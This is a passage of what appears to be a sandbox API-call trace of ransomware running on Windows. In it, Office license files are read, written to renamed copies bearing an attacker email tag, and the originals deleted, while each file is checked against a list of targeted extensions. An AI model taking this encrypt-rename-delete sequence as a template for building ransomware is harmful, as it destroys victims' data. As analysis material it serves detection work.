	[0202.353] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.353] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0202.353] SetEndOfFile (hFile=0x288) returned 1
	[0202.353] CloseHandle (hObject=0x288) returned 1
	[0202.353] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.353] SetEndOfFile (hFile=0x484) returned 1
	[0202.356] CloseHandle (hObject=0x484) returned 1
	[0202.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 1
	[0202.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.358] lstrlenW (lpString=".doc") returned 4
	[0202.358] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString=".docx") returned 5
	[0202.358] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.358] lstrlenW (lpString=".pdf") returned 4
	[0202.358] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString=".xls") returned 4
	[0202.358] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString=".xlsx") returned 5
	[0202.358] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.358] lstrlenW (lpString=".ppt") returned 4
	[0202.358] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.358] lstrlenW (lpString=".zip") returned 4
	[0202.358] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString=".rar") returned 4
	[0202.358] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString=".bz2") returned 4
	[0202.358] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString=".7z") returned 3
	[0202.358] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.358] lstrlenW (lpString=".dbf") returned 4
	[0202.358] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.358] lstrlenW (lpString=".1cd") returned 4
	[0202.358] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.358] lstrlenW (lpString=".jpg") returned 4
	[0202.358] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.359] lstrlenW (lpString=".doc") returned 4
	[0202.359] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString=".docx") returned 5
	[0202.359] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.359] lstrlenW (lpString=".pdf") returned 4
	[0202.359] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString=".xls") returned 4
	[0202.359] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString=".xlsx") returned 5
	[0202.359] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.359] lstrlenW (lpString=".ppt") returned 4
	[0202.359] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.359] lstrlenW (lpString=".zip") returned 4
	[0202.359] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString=".rar") returned 4
	[0202.359] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString=".bz2") returned 4
	[0202.359] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString=".7z") returned 3
	[0202.359] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.359] lstrlenW (lpString=".dbf") returned 4
	[0202.359] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.359] lstrlenW (lpString=".1cd") returned 4
	[0202.359] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0202.359] lstrlenW (lpString=".jpg") returned 4
	[0202.359] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.360] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.360] lstrlenW (lpString="O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 40
	[0202.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0202.361] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11646) returned 1
	[0202.361] CloseHandle (hObject=0x484) returned 1
	[0202.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0202.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0202.361] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.361] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0202.362] GetLastError () returned 0x0
	[0202.362] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0202.588] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0203.003] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.003] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x124, lpOverlapped=0x0) returned 1
	[0203.003] SetEndOfFile (hFile=0x288) returned 1
	[0203.003] CloseHandle (hObject=0x288) returned 1
	[0203.003] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.004] SetEndOfFile (hFile=0x484) returned 1
	[0203.012] CloseHandle (hObject=0x484) returned 1
	[0203.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 1
	[0203.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.013] lstrlenW (lpString=".doc") returned 4
	[0203.013] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0203.013] lstrlenW (lpString=".docx") returned 5
	[0203.013] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0203.013] lstrlenW (lpString=".pdf") returned 4
	[0203.013] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0203.013] lstrlenW (lpString=".xls") returned 4
	[0203.014] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString=".xlsx") returned 5
	[0203.014] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0203.014] lstrlenW (lpString=".ppt") returned 4
	[0203.014] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.014] lstrlenW (lpString=".zip") returned 4
	[0203.014] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString=".rar") returned 4
	[0203.014] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString=".bz2") returned 4
	[0203.014] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString=".7z") returned 3
	[0203.014] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.014] lstrlenW (lpString=".dbf") returned 4
	[0203.014] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.014] lstrlenW (lpString=".1cd") returned 4
	[0203.014] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.014] lstrlenW (lpString=".jpg") returned 4
	[0203.014] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.014] lstrlenW (lpString=".doc") returned 4
	[0203.014] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0203.014] lstrlenW (lpString=".docx") returned 5
	[0203.014] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0203.014] lstrlenW (lpString=".pdf") returned 4
	[0203.014] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0203.015] lstrlenW (lpString=".xls") returned 4
	[0203.015] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0203.015] lstrlenW (lpString=".xlsx") returned 5
	[0203.015] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0203.015] lstrlenW (lpString=".ppt") returned 4
	[0203.015] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0203.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.015] lstrlenW (lpString=".zip") returned 4
	[0203.015] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0203.015] lstrlenW (lpString=".rar") returned 4
	[0203.015] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0203.015] lstrlenW (lpString=".bz2") returned 4
	[0203.015] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0203.015] lstrlenW (lpString=".7z") returned 3
	[0203.015] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0203.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.015] lstrlenW (lpString=".dbf") returned 4
	[0203.015] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0203.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.015] lstrlenW (lpString=".1cd") returned 4
	[0203.015] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0203.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0203.015] lstrlenW (lpString=".jpg") returned 4
	[0203.015] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0203.015] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0203.015] lstrlenW (lpString="O365ProPlusR_SubTrial1-pl.xrm-ms") returned 32
	[0203.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0203.016] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11179) returned 1
	[0203.016] CloseHandle (hObject=0x484) returned 1
	[0203.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 0x220
	[0203.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0203.017] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.017] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0203.018] GetLastError () returned 0x0
	[0203.018] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0203.020] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0203.021] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.021] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1
	[0203.021] SetEndOfFile (hFile=0x288) returned 1
	[0203.021] CloseHandle (hObject=0x288) returned 1
	[0203.021] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.022] SetEndOfFile (hFile=0x484) returned 1
	[0203.024] CloseHandle (hObject=0x484) returned 1
	[0203.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 1
	[0203.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.026] lstrlenW (lpString=".doc") returned 4
	[0203.027] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString=".docx") returned 5
	[0203.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0203.027] lstrlenW (lpString=".pdf") returned 4
	[0203.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString=".xls") returned 4
	[0203.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString=".xlsx") returned 5
	[0203.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0203.027] lstrlenW (lpString=".ppt") returned 4
	[0203.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.027] lstrlenW (lpString=".zip") returned 4
	[0203.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString=".rar") returned 4
	[0203.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString=".bz2") returned 4
	[0203.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString=".7z") returned 3
	[0203.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0203.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.027] lstrlenW (lpString=".dbf") returned 4
	[0203.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.027] lstrlenW (lpString=".1cd") returned 4
	[0203.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.027] lstrlenW (lpString=".jpg") returned 4
	[0203.027] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0203.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.028] lstrlenW (lpString=".doc") returned 4
	[0203.028] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString=".docx") returned 5
	[0203.028] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0203.028] lstrlenW (lpString=".pdf") returned 4
	[0203.028] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString=".xls") returned 4
	[0203.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString=".xlsx") returned 5
	[0203.028] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0203.028] lstrlenW (lpString=".ppt") returned 4
	[0203.028] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.028] lstrlenW (lpString=".zip") returned 4
	[0203.028] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString=".rar") returned 4
	[0203.028] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString=".bz2") returned 4
	[0203.028] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString=".7z") returned 3
	[0203.028] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.028] lstrlenW (lpString=".dbf") returned 4
	[0203.028] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.028] lstrlenW (lpString=".1cd") returned 4
	[0203.028] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0203.028] lstrlenW (lpString=".jpg") returned 4
	[0203.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0203.029] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0203.029] lstrlenW (lpString="O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 33
	[0203.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0203.030] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=24369) returned 1
	[0203.030] CloseHandle (hObject=0x484) returned 1
	[0203.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 0x220
	[0203.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0203.031] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
